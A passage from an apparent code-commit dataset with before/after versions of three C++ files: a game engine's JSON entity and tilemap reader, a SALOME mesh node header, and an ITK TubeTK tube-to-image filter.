spacing,\n        margin};\n}\n\n} \/\/ namespace core\n<commit_msg>Data: Add functions for dealing with path names<commit_after>#include \"components\/camera.hpp\"\n#include \"components\/collision.hpp\"\n#include \"components\/player.hpp\"\n#include \"components\/render.hpp\"\n#include \"components\/transform.hpp\"\n#include \"components\/velocity.hpp\"\n#include \"data.hpp\"\n#include \"exception.hpp\"\n\n#include <fstream>\n#include <iostream>\n#include <map>\n\nnamespace core\n{\n\nconst std::string component_name_camera{\"camera\"};\nconst std::string component_name_collision{\"collision\"};\nconst std::string component_name_player{\"player\"};\nconst std::string component_name_texture{\"texture\"};\nconst std::string component_name_transform{\"transform\"};\nconst std::string component_name_velocity{\"velocity\"};\n\nstd::string basename(const std::string& pathname)\n{\n    \/\/ TODO(Keegan, Check if works on Windows)\n    \/\/ TODO(Keegan, Test properly)\n    return {std::find_if(pathname.rbegin(),\n                pathname.rend(),\n                [](char c) { return (c == '\/' || c == '\\\\'); })\n                .base(),\n        pathname.end()};\n}\n\nstd::string pathname(const std::string& pathname)\n{\n    \/\/ TODO(Keegan, Check if works on Windows)\n    \/\/ TODO(Keegan, Test properly)\n    return {pathname.begin(),\n        std::find_if(pathname.rbegin(), pathname.rend(), [](char c) {\n            return (c == '\/' || c == '\\\\');\n        }).base()};\n}\n\nvoid DataReader::factory_component_player(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_move_accel{\"move_accel\"};\n    const std::string prop_top_speed{\"top_speed\"};\n\n    check_required_component_property(\n        data, component_name_player, prop_move_accel);\n    float move_accel = data[prop_move_accel].asFloat();\n    check_required_component_property(\n        data, component_name_player, prop_top_speed);\n    float top_speed = data[prop_top_speed].asFloat();\n    entity.addComponent<components::PlayerComponent>(move_accel, top_speed);\n}\n\nvoid DataReader::factory_component_camera(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_zoom{\"zoom\"};\n    const std::string prop_target{\"target\"};\n\n    float zoom = data.get(prop_zoom, 1.0f).asFloat();\n\n    check_required_component_property(data, component_name_camera, prop_target);\n    std::string target = data[prop_target].asString();\n\n    auto player = m_map_entities[target];\n\n    entity.addComponent<components::CameraComponent>(player, zoom);\n}\n\nvoid DataReader::factory_component_collision(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_x{\"x\"};\n    const std::string prop_y{\"y\"};\n    const std::string prop_h{\"h\"};\n    const std::string prop_w{\"w\"};\n    const std::string prop_causeevents{\"cancauseevents\"};\n\n    int x = data.get(prop_x, 0).asInt();\n    int y = data.get(prop_y, 0).asInt();\n\n    check_required_component_property(data, component_name_collision, prop_w);\n    check_required_component_property(data, component_name_collision, prop_h);\n    check_required_component_property(\n        data, component_name_collision, prop_causeevents);\n    int h = data[prop_h].asInt();\n    int w = data[prop_w].asInt();\n    bool cancauseevents = data[prop_causeevents].asBool();\n\n    entity.addComponent<components::Collision>(x, y, h, w, cancauseevents);\n}\n\nvoid DataReader::factory_component_texture(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_texture_path{\"texture_path\"};\n\n    check_required_component_property(\n        data, component_name_texture, prop_texture_path);\n    std::string texture_path = data[prop_texture_path].asString();\n\n    entity.addComponent<components::TextureComponent>(texture_path);\n}\n\nvoid DataReader::factory_component_transform(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_pos_x{\"pos_x\"};\n    const std::string prop_pos_y{\"pos_y\"};\n    const std::string prop_size_x{\"size_x\"};\n    const std::string prop_size_y{\"size_y\"};\n    const std::string prop_rotation{\"rotation\"};\n    const std::string prop_flip_horiz{\"flip_horiz\"};\n    const std::string prop_flip_vert{\"flip_vert\"};\n\n    check_required_component_property(\n        data, component_name_transform, prop_pos_x);\n    float pos_x = data[prop_pos_x].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_pos_y);\n    float pos_y = data[prop_pos_y].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_size_x);\n    float size_x = data[prop_size_x].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_size_y);\n    float size_y = data[prop_size_y].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_rotation);\n    float rotation = data[prop_rotation].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_flip_vert);\n    bool flip_vert = data[prop_flip_vert].asBool();\n\n    check_required_component_property(\n        data, component_name_transform, prop_flip_horiz);\n    bool flip_horiz = data[prop_flip_horiz].asBool();\n\n    entity.addComponent<components::TransformComponent>(\n        pos_x, pos_y, size_x, size_y, rotation, flip_vert, flip_horiz);\n}\n\nvoid DataReader::factory_component_velocity(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_mass{\"mass\"};\n    const std::string prop_friction{\"friction\"};\n    const std::string prop_force_x{\"force_x\"};\n    const std::string prop_force_y{\"force_y\"};\n    const float prop_force_x_default = 0.0f;\n    const float prop_force_y_default = 0.0f;\n    const std::string prop_vel_x{\"vel_x\"};\n    const std::string prop_vel_y{\"vel_y\"};\n    const float prop_vel_x_default = 0.0f;\n    const float prop_vel_y_default = 0.0f;\n\n    float velocity_x = data.get(prop_vel_x, prop_vel_x_default).asFloat();\n    float velocity_y = data.get(prop_vel_y, prop_vel_y_default).asFloat();\n    float force_x = data.get(prop_force_x, prop_force_x_default).asFloat();\n    float force_y = data.get(prop_force_y, prop_force_y_default).asFloat();\n    check_required_component_property(data, component_name_velocity, prop_mass);\n    float mass = data[prop_mass].asFloat();\n\n    check_required_component_property(\n        data, component_name_velocity, prop_friction);\n    float friction = data[prop_friction].asFloat();\n\n    entity.addComponent<components::VelocityComponent>(\n        mass, friction, velocity_x, velocity_y, force_x, force_y);\n}\n\nDataReader::DataReader(std::string filename) : JsonFileReader(filename)\n{\n    m_sp_logger = logging_get_logger(\"data\");\n\n    component_factories.insert(std::make_pair(\n        component_name_camera, &DataReader::factory_component_camera));\n    component_factories.insert(std::make_pair(\n        component_name_collision, &DataReader::factory_component_collision));\n    component_factories.insert(std::make_pair(\n        component_name_player, &DataReader::factory_component_player));\n    component_factories.insert(std::make_pair(\n        component_name_texture, &DataReader::factory_component_texture));\n    component_factories.insert(std::make_pair(\n        component_name_transform, &DataReader::factory_component_transform));\n    component_factories.insert(std::make_pair(\n        component_name_velocity, &DataReader::factory_component_velocity));\n}\n\nanax::Entity DataReader::makeEntity(std::string entityname, anax::World& world)\n{\n    const std::string prop_name_components{\"components\"};\n    const std::string prop_name_template{\"template\"};\n\n    if (!m_json_data.isMember(entityname))\n    {\n        m_sp_logger->error(\"JSON data {} missing referenced entity {}\",\n            m_str_description,\n            entityname);\n        throw ExceptionParseFailure(\n            m_str_description, \"Missing referenced entity\");\n    }\n\n    auto entity = world.createEntity();\n\n    Json::Value entity_data;\n    if (m_json_data[entityname].isMember(prop_name_template))\n    {\n        std::string templatename =\n            m_json_data[entityname][prop_name_template].asString();\n        m_sp_logger->info(\n            \"Using template {} for entity {}\", templatename, entityname);\n        entity_data = merge_values(\n            m_map_references[templatename], m_json_data[entityname]);\n    }\n    else\n    {\n        entity_data = m_json_data[entityname];\n    }\n\n    if (!entity_data.isMember(prop_name_components))\n    {\n        m_sp_logger->error(\"JSON data {} entity {} missing {}\",\n            m_str_description,\n            entityname,\n            prop_name_components);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON data entity missing components\");\n    }\n\n    auto components = entity_data[prop_name_components];\n\n    m_sp_logger->info(\"Components list for entity name {} size {}\",\n        entityname,\n        components.size());\n\n    Json::Value::Members member_names = components.getMemberNames();\n    for (auto type : member_names)\n    {\n        m_sp_logger->info(\"Creating component {}\", type);\n\n        factory_method fp = component_factories[type];\n        (this->*fp)(components[type], entity);\n    }\n\n    entity.activate();\n    return entity;\n}\n\nvoid DataReader::makeEntities(anax::World& world)\n{\n    const std::string object_name_world{\"world\"};\n    const std::string prop_name_entities{\"entities\"};\n\n    scan_references(m_json_data);\n\n    if (!m_json_data.isMember(object_name_world))\n    {\n        m_sp_logger->error(\n            \"JSON data {} missing {}\", m_str_description, object_name_world);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON Data missing world\");\n    }\n    if (!m_json_data[object_name_world].isMember(prop_name_entities))\n    {\n        m_sp_logger->error(\"JSON data {} world missing {}\",\n            m_str_description,\n            prop_name_entities);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON Data world missing entities\");\n    }\n\n    auto entities = m_json_data[object_name_world][prop_name_entities];\n    m_sp_logger->info(\"Entities list for world size {}\", entities.size());\n    for (auto value : entities)\n    {\n        std::string name = value.asString();\n        auto entity = makeEntity(name, world);\n        m_map_entities.insert({name, entity});\n    }\n}\n\nLevelReader::LevelReader(std::string filename) : JsonFileReader(filename)\n{\n    m_sp_logger = logging_get_logger(\"data\");\n}\n\nvoid LevelReader::build_level(std::unique_ptr<Level>& up_level)\n{\n    uint16_t size_x = m_json_data[\"width\"].asInt();\n    uint16_t size_y = m_json_data[\"height\"].asInt();\n    float tileheight = m_json_data[\"tileheight\"].asFloat();\n    float scale = m_json_data[\"properties\"].get(\"scale\", 1.0).asFloat();\n\n    up_level = std::make_unique<Level>(size_x, size_y, tileheight * scale);\n    auto p_level = up_level.get();\n\n    \/\/ TODO(Keegan): Use tilewidth as well\n    auto tilesets = m_json_data[\"tilesets\"];\n    std::string tileset_source;\n    for (auto it = tilesets.begin(); it != tilesets.end(); ++it)\n    {\n        int firstgid = (*it)[\"firstgid\"].asInt();\n        tileset_source = (*it)[\"source\"].asString();\n        m_sp_logger->info(\n            \"Found a tileset gid {} source {}\", firstgid, tileset_source);\n    }\n    \/\/ Only load last tileset for now\n    auto p_tileset = load_tileset(tileset_source);\n    p_level->set_tileset(p_tileset);\n\n    auto layers = m_json_data[\"layers\"];\n    for (auto it = layers.begin(); it != layers.end(); ++it)\n    {\n        int height = (*it)[\"height\"].asInt();\n        int width = (*it)[\"width\"].asInt();\n        float opacity = (*it)[\"opacity\"].asFloat();\n        std::string name = (*it)[\"name\"].asString();\n        m_sp_logger->info(\n            \"found a layer named {} width {} height {} opacity {}\",\n            name,\n            width,\n            height,\n            opacity);\n        auto data = (*it)[\"data\"];\n        for (uint16_t index = 0; index < data.size(); ++index)\n        {\n            uint16_t tile_x = index % width;\n            uint16_t tile_y = index \/ width;\n            int16_t tilegid = data[index].asInt();\n            p_level->set(tile_x, tile_y, tilegid);\n        }\n    }\n\n    return;\n}\n\nLevelTileSet* LevelReader::load_tileset(std::string filename)\n{\n    Json::Reader reader_json;\n    filename.insert(0, \"data\/\");\n    m_sp_logger->info(\"Loading data from {}\", filename);\n    std::ifstream config_file(filename, std::ifstream::binary);\n    if (!reader_json.parse(config_file, m_json_tileset))\n    {\n        m_sp_logger->error(\n            \"Failed to parse JSON file {}:\", filename, \"JSON format error\");\n        m_sp_logger->error(reader_json.getFormattedErrorMessages());\n        throw ExceptionParseFailure(\n            m_str_description, std::string(\"JSON format error\"));\n    }\n    std::string image_filename = m_json_tileset[\"image\"].asString();\n    std::string name = m_json_tileset[\"name\"].asString();\n    uint16_t tilewidth = m_json_tileset[\"tilewidth\"].asInt();\n    uint16_t tileheight = m_json_tileset[\"tilewidth\"].asInt();\n    uint16_t tilecount = m_json_tileset[\"tilecount\"].asInt();\n    uint16_t columns = m_json_tileset[\"columns\"].asInt();\n    uint16_t margin = m_json_tileset[\"margin\"].asInt();\n    uint16_t spacing = m_json_tileset[\"spacing\"].asInt();\n    return new LevelTileSet{name,\n        image_filename,\n        columns,\n        tilecount,\n        tilewidth,\n        tileheight,\n        spacing,\n        margin};\n}\n\n} \/\/ namespace core\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2007-2013  CEA\/DEN, EDF R&D, OPEN CASCADE\n\/\/\n\/\/ Copyright (C) 2003-2007  OPEN CASCADE, EADS\/CCR, LIP6, CEA\/DEN,\n\/\/ CEDRAT, EDF R&D, LEG, PRINCIPIA R&D, BUREAU VERITAS\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\/\/\n\/\/ See http:\/\/www.salome-platform.org\/ or email : webmaster.salome@opencascade.com\n\/\/\n\n\/\/  SMESH SMDS : implementaion of Salome mesh data structure\n\/\/  File   : SMDS_MeshNode.hxx\n\/\/  Module : SMESH\n\/\/\n#ifndef _SMDS_MeshNode_HeaderFile\n#define _SMDS_MeshNode_HeaderFile\n\n#include \"SMESH_SMDS.hxx\"\n\n#include \"SMDS_MeshElement.hxx\"\n#include \"SMDS_Position.hxx\"\n#include \"ObjectPool.hxx\"\n\nclass SMDS_EXPORT SMDS_MeshNode: public SMDS_MeshElement\n{\npublic:\n  friend class SMESHDS_Mesh;\n  friend class SMDS_Mesh;\n  friend class ObjectPool<SMDS_MeshNode>;\n  friend class SMDS_VtkFace;\n\n  void Print(std::ostream & OS) const;\n  double X() const; \/\/ ! NOT thread safe methods !\n  double Y() const;\n  double Z() const;\n  void   GetXYZ(double xyz[3]) const; \/\/ thread safe getting coords\n  SMDS_ElemIteratorPtr    GetInverseElementIterator(SMDSAbs_ElementType type=SMDSAbs_All) const;\n  int                     NbInverseElements(SMDSAbs_ElementType type=SMDSAbs_All) const;\n  const SMDS_PositionPtr& GetPosition() const;\n  virtual SMDSAbs_ElementType  GetType() const;\n  virtual vtkIdType            GetVtkType() const;\n  virtual SMDSAbs_EntityType   GetEntityType() const { return SMDSEntity_Node;}\n  virtual SMDSAbs_GeometryType GetGeomType() const   { return SMDSGeom_NONE; }\n  virtual int                  NbNodes() const;\n\n  void SetPosition(const SMDS_PositionPtr& aPos);\n  void setXYZ(double x, double y, double z);\n\n  static int nbNodes;\n\nprotected:\n  SMDS_MeshNode();\n  SMDS_MeshNode(int id, int meshId, int shapeId = -1, double x=0, double y=0, double z=0);\n  virtual ~SMDS_MeshNode();\n  void init(int id, int meshId, int shapeId = -1, double x=0, double y=0, double z=0);\n  inline void setVtkId(int vtkId) { myVtkID = vtkId; };\n  double* getCoord() const;\n  void AddInverseElement(const SMDS_MeshElement * ME);\n  void RemoveInverseElement(const SMDS_MeshElement * parent);\n  void ClearInverseElements();\n  bool emptyInverseElements();\n\n  SMDS_ElemIteratorPtr\n  elementsIterator(SMDSAbs_ElementType type) const;\n\nprivate:\n  SMDS_PositionPtr myPosition;\n};\n\n#endif\n<commit_msg>Rm duplicated SMDS_MeshElement::setVtkId(int vtkId)<commit_after>\/\/ Copyright (C) 2007-2013  CEA\/DEN, EDF R&D, OPEN CASCADE\n\/\/\n\/\/ Copyright (C) 2003-2007  OPEN CASCADE, EADS\/CCR, LIP6, CEA\/DEN,\n\/\/ CEDRAT, EDF R&D, LEG, PRINCIPIA R&D, BUREAU VERITAS\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\/\/\n\/\/ See http:\/\/www.salome-platform.org\/ or email : webmaster.salome@opencascade.com\n\/\/\n\n\/\/  SMESH SMDS : implementaion of Salome mesh data structure\n\/\/  File   : SMDS_MeshNode.hxx\n\/\/  Module : SMESH\n\/\/\n#ifndef _SMDS_MeshNode_HeaderFile\n#define _SMDS_MeshNode_HeaderFile\n\n#include \"SMESH_SMDS.hxx\"\n\n#include \"SMDS_MeshElement.hxx\"\n#include \"SMDS_Position.hxx\"\n#include \"ObjectPool.hxx\"\n\nclass SMDS_EXPORT SMDS_MeshNode: public SMDS_MeshElement\n{\npublic:\n  friend class SMESHDS_Mesh;\n  friend class SMDS_Mesh;\n  friend class ObjectPool<SMDS_MeshNode>;\n  friend class SMDS_VtkFace;\n\n  void Print(std::ostream & OS) const;\n  double X() const; \/\/ ! NOT thread safe methods !\n  double Y() const;\n  double Z() const;\n  void   GetXYZ(double xyz[3]) const; \/\/ thread safe getting coords\n  SMDS_ElemIteratorPtr    GetInverseElementIterator(SMDSAbs_ElementType type=SMDSAbs_All) const;\n  int                     NbInverseElements(SMDSAbs_ElementType type=SMDSAbs_All) const;\n  const SMDS_PositionPtr& GetPosition() const;\n  virtual SMDSAbs_ElementType  GetType() const;\n  virtual vtkIdType            GetVtkType() const;\n  virtual SMDSAbs_EntityType   GetEntityType() const { return SMDSEntity_Node;}\n  virtual SMDSAbs_GeometryType GetGeomType() const   { return SMDSGeom_NONE; }\n  virtual int                  NbNodes() const;\n\n  void SetPosition(const SMDS_PositionPtr& aPos);\n  void setXYZ(double x, double y, double z);\n\n  static int nbNodes;\n\nprotected:\n  SMDS_MeshNode();\n  SMDS_MeshNode(int id, int meshId, int shapeId = -1, double x=0, double y=0, double z=0);\n  virtual ~SMDS_MeshNode();\n  void init(int id, int meshId, int shapeId = -1, double x=0, double y=0, double z=0);\n  double* getCoord() const;\n  void AddInverseElement(const SMDS_MeshElement * ME);\n  void RemoveInverseElement(const SMDS_MeshElement * parent);\n  void ClearInverseElements();\n  bool emptyInverseElements();\n\n  SMDS_ElemIteratorPtr\n  elementsIterator(SMDSAbs_ElementType type) const;\n\nprivate:\n  SMDS_PositionPtr myPosition;\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\nLibrary:   TubeTK\n\nCopyright 2010 Kitware Inc. 28 Corporate Drive,\nClifton Park, NY, 12065, USA.\n\nAll rights reserved.\n\nLicensed under the Apache License, Version 2.0 ( the \"License\" );\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n=========================================================================*\/\n\n#ifndef __itktubeTubeSpatialObjectToImageFilter_hxx\n#define __itktubeTubeSpatialObjectToImageFilter_hxx\n\n#include \"itktubeTubeSpatialObjectToImageFilter.h\"\n\n#include <itkImageRegionIteratorWithIndex.h>\n\n#include <vnl\/vnl_vector.h>\n\n\/** Constructor *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage>\n::TubeSpatialObjectToImageFilter( void )\n{\n  m_UseRadius = false;\n  m_Cumulative = false;\n  m_BuildRadiusImage = false;\n  m_BuildTangentImage = false;\n  m_FallOff = 0.0;\n\n  \/\/ This is a little bit tricky since the 2nd an 3rd outputs are\n  \/\/   not always computed\n  this->SetNumberOfRequiredOutputs( 3 );\n  m_RadiusImage = TRadiusImage::New();\n  this->SetNthOutput( 1, m_RadiusImage );\n\n  m_TangentImage = TTangentImage::New();\n  this->SetNthOutput( 2, m_TangentImage );\n}\n\n\/** Destructor *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::~TubeSpatialObjectToImageFilter( void )\n{\n}\n\n\/** Return the Radius Image *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\ntypename TubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage,\n  TRadiusImage, TTangentImage >::RadiusImagePointer\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage>\n::GetRadiusImage( void )\n{\n  return dynamic_cast< TRadiusImage * >( this->ProcessObject::GetOutput( 1 ) );\n}\n\n\/** Return the tangent Image *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\ntypename TubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage,\n  TRadiusImage, TTangentImage >::TangentImagePointer\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::GetTangentImage( void )\n{\n  return dynamic_cast< TTangentImage * >(\n    this->ProcessObject::GetOutput( 2 ) );\n}\n\n\/** Update *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nvoid\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::GenerateData( void )\n{\n  itkDebugMacro( << \"TubeSpatialObjectToImageFilter::Update() called.\" );\n\n  \/\/Get the input and output pointers\n  const typename SuperClass::InputSpatialObjectType   * InputTube =\n    this->GetInput();\n  typename SuperClass::OutputImagePointer             OutputImage =\n    this->GetOutput();\n\n  \/\/ Generate the image\n  typename OutputImageType::RegionType region;\n  if( this->m_Size[0] == 0 )\n    {\n    std::cout << \"WARNING: Size not set.\" << std::endl;\n    std::cout << \"   Reverting to an incorrect method to compute region.\"\n      << std::endl;\n    SizeType size;\n\n    typename SuperClass::InputSpatialObjectType::BoundingBoxType::PointType\n      maxPoint;\n    maxPoint = InputTube->GetBoundingBox()->GetMaximum();\n\n    typename OutputImageType::PointType   physicalSize;\n\n    unsigned int buffer = 4;\n\n    for( unsigned int i=0; i<ObjectDimension; i++ )\n      {\n      maxPoint[i] = maxPoint[i] *\n                    ( InputTube->GetIndexToObjectTransform() )\n                      ->GetScaleComponent()[i];\n      physicalSize[i] = maxPoint[i] - this->m_Origin[i];\n\n      \/** Get the origin point within the image so that the object\n       * remains in the image **\/\n      size[i] = ( long unsigned int )(\n        physicalSize[i] \/ this->m_Spacing[i] ) + buffer;\n      }\n    region.SetSize( size );\n    }\n  else\n    {\n    region.SetSize( this->m_Size );\n    }\n\n  typename OutputImageType::IndexType index;\n  index.Fill( 0 );\n  region.SetIndex( index );\n\n  OutputImage->SetRegions( region );\n  OutputImage->SetSpacing( this->m_Spacing );\n  OutputImage->SetOrigin( this->m_Origin );\n  OutputImage->Allocate();\n  OutputImage->FillBuffer( 0 );\n\n  itk::ContinuousIndex<double, ObjectDimension> point;\n\n  m_RadiusImage = this->GetRadiusImage();\n  \/\/Build radius image for processing\n  if( m_BuildRadiusImage )\n    {\n    m_RadiusImage->SetRegions( region );\n    m_RadiusImage->SetSpacing( this->m_Spacing );\n    m_RadiusImage->SetOrigin( this->m_Origin );\n    m_RadiusImage->Allocate();\n    m_RadiusImage->FillBuffer( 0 );\n    }\n\n  m_TangentImage = this->GetTangentImage();\n  \/\/Build radius image for processing\n  if( m_BuildTangentImage )\n    {\n    m_TangentImage->SetRegions( region );\n    m_TangentImage->SetSpacing( this->m_Spacing );\n    m_TangentImage->SetOrigin( this->m_Origin );\n    m_TangentImage->Allocate();\n    TangentPixelType v;\n    v.Fill( 0 );\n    m_TangentImage->FillBuffer( v );\n    }\n\n  \/\/ Get the list of tubes\n  char tubeName[] = \"Tube\";\n  ChildrenListType* tubeList = InputTube->GetChildren(\n    this->m_ChildrenDepth, tubeName );\n\n  \/\/int size = tubeList->size();\n\n  typedef typename ChildrenListType::iterator ChildrenIteratorType;\n  ChildrenIteratorType TubeIterator = tubeList->begin();\n\n  typename OutputImageType::IndexType index2;\n\n  while( TubeIterator != tubeList->end() )\n    {\n    TubeType * tube = ( TubeType * )TubeIterator->GetPointer();\n\n    typename TubeType::TransformType * tubeIndexPhysTransform =\n      tube->GetIndexToWorldTransform();\n\n    \/\/ Force the computation of the tangents\n    if( m_BuildTangentImage )\n      {\n      tube->RemoveDuplicatePoints();\n      tube->ComputeTangentAndNormals();\n      }\n\n    for( unsigned int k=0; k < tube->GetNumberOfPoints(); k++ )\n      {\n      typedef typename TubeType::TubePointType TubePointType;\n      const TubePointType* tubePoint = static_cast<const TubePointType*>(\n        tube->GetPoint( k ) );\n      OutputImage->TransformPhysicalPointToContinuousIndex(\n\ttubeIndexPhysTransform->TransformPoint( tubePoint->GetPosition() ),\n\tpoint );\n      for( unsigned int i=0; i<ObjectDimension; i++ )\n        {\n        index[i] = ( long int )( point[i]+0.5 );\n        }\n      bool IsInside = OutputImage->GetLargestPossibleRegion().IsInside(index);\n\n      if( IsInside )\n        {\n        \/\/ Density Image\n        if( m_Cumulative )\n          {\n          OutputImage->SetPixel( index, OutputImage->GetPixel( index )+1 );\n          }\n        else\n          {\n          OutputImage->SetPixel( index, 1 );\n          }\n\n        \/\/ Tangent Image\n        if( m_BuildTangentImage )\n          {\n          \/\/ Convert the tangent type to the actual tangent image pixel type\n          typename TubeType::VectorType t = tubePoint->GetTangent();\n          TangentPixelType tp;\n          for( unsigned int tpind = 0;tpind<ObjectDimension;tpind++ )\n            {\n            tp[tpind] = t[tpind];\n            }\n          m_TangentImage->SetPixel( index, tp );\n          }\n\n        \/\/ Radius Image and Density image with radius\n        if( m_UseRadius )\n          {\n          double phys_pt_radius = tubePoint->GetRadius() *\n                                      tube\n                                      ->GetIndexToObjectTransform()\n                                      ->GetScaleComponent()[0];\n          if( m_BuildRadiusImage )\n            {\n            m_RadiusImage->SetPixel( index,\n                                  static_cast<RadiusPixelType>(\n                                      phys_pt_radius ) );\n            }\n\n          long radius = ( long int )( phys_pt_radius \/ this->m_Spacing[0] );\n\n\n          double step = radius\/2;\n          while( step > 1 )\n            {\n            step \/= 2;\n            }\n          if( step < 0.5 )\n            {\n            step = 0.5;\n            }\n          if( ObjectDimension == 2 )\n            {\n            for( double x=-radius; x<=radius+step\/2; x+=step )\n              {\n              for( double y=-radius; y<=radius+step\/2; y+=step )\n                {\n                if( ( ( x*x ) +( y*y ) ) <= ( radius*radius ) )\n                  \/\/ test  inside the sphere\n                  {\n                  index2[0]=( long )( point[0]+x+0.5 );\n                  index2[1]=( long )( point[1]+y+0.5 );\n                  if( OutputImage->GetLargestPossibleRegion().IsInside( index2 ) )\n                    {\n                    typedef typename OutputImageType::PixelType PixelType;\n                    if( m_Cumulative )\n                      {\n                      OutputImage->SetPixel( index2,\n                                            ( PixelType )( OutputImage\n                                                        ->GetPixel( index2 )\n                                            + 0.5 ) );\n                      }\n                    else\n                      {\n                      OutputImage->SetPixel( index2, 1 );\n                      }\n                    if( m_BuildRadiusImage )\n                      {\n                      m_RadiusImage->SetPixel( index2, phys_pt_radius );\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          else if( ObjectDimension == 3 )\n            {\n            for( double x=-radius; x<=radius+step\/2; x+=step )\n              {\n              for( double y=-radius; y<=radius+step\/2; y+=step )\n                {\n                for( double z=-radius; z<=radius+step\/2; z+=step )\n                  {\n                  if( ( ( x*x ) +( y*y ) +( z*z ) ) <= ( radius*radius ) )\n                    \/\/ test  inside the sphere\n                    {\n                    index2[0]=( long )( point[0]+x+0.5 );\n                    index2[1]=( long )( point[1]+y+0.5 );\n                    index2[2]=( long )( point[2]+z+0.5 );\n\n                    \/\/ Test that point is within the output image boundries\n                    if( OutputImage->GetLargestPossibleRegion().IsInside( index2 ) )\n                      {\n                      OutputImage->SetPixel( index2, 1 );\n                      if( m_BuildRadiusImage )\n                        {\n                        m_RadiusImage->SetPixel( index2, phys_pt_radius );\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    ++TubeIterator;\n    }\n\n  delete tubeList;\n\n  itkDebugMacro( << \"TubeSpatialObjectToImageFilter::Update() finished.\" );\n\n} \/\/ End update function\n\n#endif \/\/ End !defined( __itktubeTubeSpatialObjectToImageFilter_hxx )\n<commit_msg>Add TODO<commit_after>\/*=========================================================================\n\nLibrary:   TubeTK\n\nCopyright 2010 Kitware Inc. 28 Corporate Drive,\nClifton Park, NY, 12065, USA.\n\nAll rights reserved.\n\nLicensed under the Apache License, Version 2.0 ( the \"License\" );\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n=========================================================================*\/\n\n#ifndef __itktubeTubeSpatialObjectToImageFilter_hxx\n#define __itktubeTubeSpatialObjectToImageFilter_hxx\n\n#include \"itktubeTubeSpatialObjectToImageFilter.h\"\n\n#include <itkImageRegionIteratorWithIndex.h>\n\n#include <vnl\/vnl_vector.h>\n\n\/** Constructor *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage>\n::TubeSpatialObjectToImageFilter( void )\n{\n  m_UseRadius = false;\n  m_Cumulative = false;\n  m_BuildRadiusImage = false;\n  m_BuildTangentImage = false;\n  m_FallOff = 0.0;\n\n  \/\/ This is a little bit tricky since the 2nd an 3rd outputs are\n  \/\/   not always computed\n  this->SetNumberOfRequiredOutputs( 3 );\n  